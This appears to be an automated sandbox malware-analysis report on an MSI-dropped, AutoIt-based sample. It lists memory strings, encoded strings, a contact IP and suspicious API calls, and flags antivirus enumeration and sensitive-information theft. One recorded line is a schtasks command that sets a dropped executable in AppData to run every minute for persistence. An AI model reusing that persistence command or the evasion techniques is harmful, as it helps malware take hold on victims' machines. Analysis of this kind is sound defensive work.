Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\pictures_e	memstr_5de4f363-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\videos	memstr_9c009e8b-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\music!e	memstr_1c9c0a1a-2
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\public\desktop3e`r	memstr_fe40d708-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ]/qnn	memstr_b5c81a4f-9
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\windows\system32	memstr_fe9d0a3c-9
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\program files (x86)	memstr_68111e05-d
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\windows\syswow64	memstr_6ce5e750-2
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\program files (x86)ef*u	memstr_12933cbe-0
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\public\videos~f?u	memstr_8a54bcfd-5
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: j9*`+	memstr_2da89a14-a
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: <?6fgu	memstr_c0cf13a4-f
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s9ye6vh0ai3g5pz0qf5of4f9f~u	memstr_fe07bf41-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m2vd2wl8nv4o5lt2ex3ru1j	memstr_4dbfbd6d-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m2vd2wl8nv4o5rv1cb2x	memstr_1d6b3f05-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s9ye6vh0ai3g4uk9px8yb0w	memstr_beac4b0b-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p2oo1bl2ku5e6dz4iw9zh9u	memstr_802d5d4b-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s9ye6vh0ai3g7gh7dz8st3y	memstr_4532bf18-0
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f2kn6pg2ic8bkeysy9u0weg	memstr_fbd638fc-9
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f1ro5tz1p7zq9ti1ap9u1ezg;t	memstr_4a0ffc5f-9
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l9at8bn1p2md2ql5i	memstr_076c166b-0
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m2vd2wl8nv4o0kq1py7ry1e	memstr_ca7b6da6-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e2qg3kt9n8iw7qx8einfo	memstr_36b68102-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hkcu\software\win32c	memstr_1bc62176-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hkcu\software\win32c g	memstr_53d3f911-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f1ro5tz1p3jc6tw8w7a\|+ght	memstr_f968e840-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a9oh6cy4tz5p8xq5ty9u\|2gct	memstr_1ffa985e-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hkcu\software\win32\|5gzt	memstr_787bef8a-4
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f1ro5tz1p7zq9ti1ap9uc	memstr_d346312d-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a9oh6cy4tz5p8xq5ty9uc	memstr_ccad72b0-f
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f1ro5tz1p3jc6tw8w9uc	memstr_1006d8d0-1
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a9oh6cy4tz5p2bs1rp8a\|	memstr_857ab75d-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f1ro5tz1p3jc6tw8w2roc	memstr_245db1aa-d
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f1ro5tz1p3jc6tw8w_81\|	memstr_26a079b2-2
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a9oh6cy4tz5p1gl3mf7ac	memstr_acca9cf7-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: x\|admin\|x\|user\|win_81\|	memstr_fc0ae78a-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hkcu\software\win32\|	memstr_7d525cb2-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f1ro5tz1p8ue5pa9y7ac	memstr_b01029c7-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d172.111.138.100	memstr_d348d81d-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a9oh6cy4tz5p8xq5ty9uca@	memstr_98366525-a
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l9at8bn1p5pe2be0d21\|h@	memstr_5d033fc3-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: int tv_sec;int tv_usecs@	memstr_69e57285-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f1ro5tz1p3jc6tw8w2\|z@	memstr_39503d3e-d
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l9at8bn1p5pe2be0d2]@	memstr_a033c4a8-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hkcu\software\win32co@,w	memstr_f1807de7-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a9oh6cy4tz5p2bs1rp8acv@'w	memstr_aafb164d-1
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1@fw	memstr_ae48ebce-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ka(v#	memstr_1462fc00-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ra#v$	memstr_aee46fbc-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ua:v%	memstr_f078783b-2
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|a=v&	memstr_a19f35d4-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: *akv,	memstr_10e8e6cc-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: -abv-	memstr_ef48181a-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 4aev.	memstr_225af4e6-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ?a\|v/	memstr_2871a157-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 227301890l227301950l227301939l227302006l227301945l227301926l227301939l227301924l227301943l227301922l227301951l227301945l227301944l227302006l227301941l227301945l227301947l227301926l227301946l227301939l227301922l227301939l227301938l227302006l227301925l227301923l227301941l227301941l227301939l227301925l227301925l227301936l227301923l227301946l227301946l227301935l227302008l227302006z	memstr_0f4fa5f1-a
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 227301890l227301950l227301939l227302006l227301940l227301923l227301936l227301936l227301939l227301924l227302006l227301951l227301925l227302006l227301922l227301945l227301945l227302006l227301925l227301947l227301943l227301946l227301946l227302006l227301922l227301945l227302006l227301941l227301945l227301944l227301922l227301943l227301951l227301944l227302006l227301922l227301950l227301939l227302006l227301939l227301944l227301922l227301924l227301935l227302008227301	memstr_077d9976-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 227301911l227301944l227302006l227301951l227301944l227301920l227301943l227301946l227301951l227301938l227302006l227301926l227301943l227301924l227301943l227301947l227301939l227301922l227301939l227301924l227302006l227301921l227301943l227301925l227302006l227301926l227301943l227301925l227301925l227301939l227301938l227302006l227301922l227301945l227302006l227301943l227302006l227301925l227301939l227301924l227301920l227301951l227301941l227301939l227302006l227301945l227301924l227302006l227301936l227301923l227301944l227301941l227301922l227301951l227301945l227301944l227302008x	memstr_bb97ce23-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 227301911l227301944l227302006l227301951l227301944l227301920l227301943l227301946l227301951l227301938l227302006l227301918l227301911l227301912l227301906l227301914l227301907l227302006l227301921l227301943l227301925l227302006l227301925l227301926l227301939l227301941l227301951l227301936l227301951l227301939l227301938l227302008z	memstr_fb393bd5-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 227301911l227301944l227302006l227301939l227301924l227301924l227301945l227301924l227302006l227301945l227301941l227301941l227301923l227301924l227301924l227301939l227301938l227302006l227301951l227301944l227302006l227301924l227301939l227301943l227301938l227301951l227301944l227301937l227302006l227301945l227301924l227302006l227301921l227301924l227301951l227301922l227301951l227301944l227301937l227302006l227301938l227301943l227301922l227301943l22730200801926l-	memstr_7bebea51-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: clsid\{172bddf8-ceea-11d1-8b05-00600806d9b6}	memstr_226d158c-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 227301912l227301945l227301922l227302006l227301939l227301944l227301945l227301923l227301937l227301950l227302006l227301920l227301951l227301924l227301922l227301923l227301943l227301946l227302006l227301947l227301939l227301947l227301945l227301924l227301935l227302006l227301945l227301924l227302006l227301926l227301943l227301937l227301951l227301944l227301937l227302006l227301936l227301951l227301946l227301939l227302006l227301927l227301923l227301945l227301922l227301943l227302006l227301951l227301925l227302006l227301943l227301920l227301943l227301951l227301946l227301943l227301940l227301946l227301939l227302006l227301922l227301945l227302006l227301941l227301945l227301947l227301926l227301946l227301939l227301922l227301939l227302006l227301922l227301950l227301939l227302006l227301925l227301926l227301939l227301941l227301951l227301936l227301951l227301939l227301938l227302006l227301945l227301926l227301939l227301924l227301943l227301922l227301951l227301945l227301944l227302008d	memstr_e82c886a-9
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 227301911l227301944l227302006l227301951l227301944l227301920l227301943l227301946l227301951l227301938l227302006l227301936l227301946l227301943l227301937l227302006l227301921l227301943l227301925l227302006l227301926l227301943l227301925l227301925l227301939l227301938l227302006l227301922l227301945l227302006l227301922l227301950l227301939l227302006l227301936l227301923l227301944l227301941l227301922l227301951l227301945l227301944l22730200822d	memstr_6f1bf62c-2
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 227301908l227301943l227301938l227302006l227301938l227301943l227301922l227301943l227302006l227301925l227301923l227301926l227301926l227301946l227301951l227301939l227301938l227302006l227301922l227301945l227302006l227301936l227301923l227301944l227301941l227301922l227301951l227301945l227301944l227302008937l	memstr_80751837-a
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 227301890l227301950l227301939l227302006l227301941l227301945l227301947l227301926l227301923l227301922l227301939l227301938l227302006l227301943l227301923l227301922l227301950l227301939l227301944l227301922l227301951l227301941l227301943l227301922l227301951l227301945l227301944l227302006l227301922l227301943l227301937l227302006l227301938l227301951l227301938l227302006l227301944l227301945l227301922l227302006l227301947l227301943l227301922l227301941l227301950l227302006l227301922l227301950l227301939l227302006l227301951l227301944l227301926l227301923l227301922l227302006l227301943l227301923l227301922l227301950l227301939l227301944l227301922l227301951l227301941l227301943l227301922l227301951l227301945l227301944l227302006l227301922l227301943l227301937l2273020083	memstr_5bc885b3-9
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 939l227302008l227302	memstr_66cf7583-a
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 02006l227302014l227302003l227301902l22730201522f	memstr_078050d3-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 227301891l227301944l227301924l227301939l227301941l227301945l227301937l227301944l227301951l227301932l227301939l227301938l227302006l227301925l227301922l227301943l227301922l227301923l227301925l227302006l227301941l227301945l227301938l227301939l227302008l227302006l227302006l227302014l227302003l227301902l227302015	memstr_db295865-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2.4.5.0gxky	memstr_ce28ccc6-4
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bxvy	memstr_ff7a85e7-9
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: axuy!	memstr_42d5ea46-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2.4.6.0	memstr_d4c46e0d-0
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: cywxk	memstr_14a06c07-1
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: fyjxl	memstr_f269e9b9-2
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: eyixm	memstr_70e3925a-4
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hylxn	memstr_3ffcc976-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: oycxo	memstr_7acd8d30-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ryfxp	memstr_f0087198-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: qyexq	memstr_36b6e592-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tyxxr	memstr_4fe5dca4-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [y_xs	memstr_8182cabf-5
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ^yrxt	memstr_4749d386-4
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ]yqxu	memstr_6c273dee-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: `ytxv	memstr_005e642e-5
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: win_81	memstr_e13904b1-2
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: desktop	memstr_94610267-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ncalrpcx[\z	memstr_1ea4f68a-9
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: b[vz	memstr_7c401b2c-f
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a[uz!	memstr_6ab5e844-5
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ctw]k	memstr_a392ad3f-1
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ftj]l	memstr_9de3826c-9
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: eti]m	memstr_5bf5824a-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: htl]n	memstr_0822e63b-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: otc]o	memstr_3b6cddb0-d
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: rtf]p	memstr_553228d5-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: qte]q	memstr_3b1f6281-0
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ttx]r	memstr_23fd1b61-1
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [t_]s	memstr_e7d1ca3b-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ^tr]t	memstr_97bc198c-d
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ]tq]u	memstr_470424e9-4
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: `tt]v	memstr_ca7e170b-9
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: cmd.exe	memstr_5cfd47af-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: startup	memstr_42146ca6-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: startup	memstr_d1044278-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hkcu\so	memstr_12c71a06-5
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bvv_	memstr_2171fc68-4
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avu_!	memstr_bd8fd810-d
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sracmb	memstr_497c2f76-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /q.lnk	memstr_4c4128c4-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: enabx	memstr_556f5274-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: wparam	memstr_aa3b863e-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 849224	memstr_bab619b2-4
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lparam	memstr_9873cd87-d
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: cww^k	memstr_938c239a-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: fwj^l	memstr_b3421c61-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ewi^m	memstr_1f8522ee-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hwl^n	memstr_87e5b4de-5
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: owc^o	memstr_ce21ae0a-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: rwf^p	memstr_4c14531f-a
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: qwe^q	memstr_1f29ff96-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lresulttwx^r	memstr_4b13f9c5-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [w_^s	memstr_0b3a3fbf-a
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ^wr^t	memstr_f00f9a0c-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ]wq^u	memstr_e361c225-d
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: `wt^v	memstr_e8b21858-0
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 849224gw	memstr_cf1e3f31-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 7852h	memstr_e5c953f7-a
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: music	memstr_057b9744-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: profile	memstr_84b93448-2
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: videos	memstr_4499c040-0
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: common!p	memstr_63e4a6e5-5

Source: C:\Windows\Installer\MSI4976.tmp

Code function: 3_2_00364B52 SendInput,keybd_event,

3_2_00364B52

Source: C:\Windows\Installer\MSI4976.tmp

Code function: 3_2_00367DD5 mouse_event,

3_2_00367DD5

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn VYZSPQ.exe /tr C:\Users\user\AppData\Roaming\Windata\SRACMB.exe /sc minute /mo 1

Jump to behavior

Source: C:\Windows\Installer\MSI4976.tmp

Code function: 3_2_0035B398 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,RtlAllocateHeap,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

3_2_0035B398

Source: C:\Windows\Installer\MSI4976.tmp

Code function: 3_2_0035BE31 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

3_2_0035BE31

Source: MSI4976.tmp, SRACMB.exe	Binary or memory string: Shell_TrayWnd
Source: MSI4976.tmp, 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmp, SRACMB.exe, 00000008.00000002.1427524418.000000000015E000.00000040.00000001.01000000.00000007.sdmp, SRACMB.exe, 00000009.00000002.1495148976.000000000015E000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndTHISREMOVEblankinfoquestionstopwarning

Source: C:\Windows\Installer\MSI4976.tmp

Code function: 3_2_00347254 cpuid

3_2_00347254

Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Installer\MSI4976.tmp	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\Installer\MSI4976.tmp

Code function: 3_2_003440DA GetSystemTimeAsFileTime,__aulldiv,

3_2_003440DA

Source: C:\Windows\Installer\MSI4976.tmp

Code function: 3_2_0039C146 GetUserNameW,

3_2_0039C146

Source: C:\Windows\Installer\MSI4976.tmp

Code function: 3_2_00352C3C __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

3_2_00352C3C

Source: C:\Windows\Installer\MSI4976.tmp

Code function: 3_2_0033E47B GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

3_2_0033E47B

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: MSI4976.tmp, 00000003.00000002.2615051893.0000000001822000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Installer\MSI4976.tmp

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntiVirusProduct

Stealing of Sensitive Information

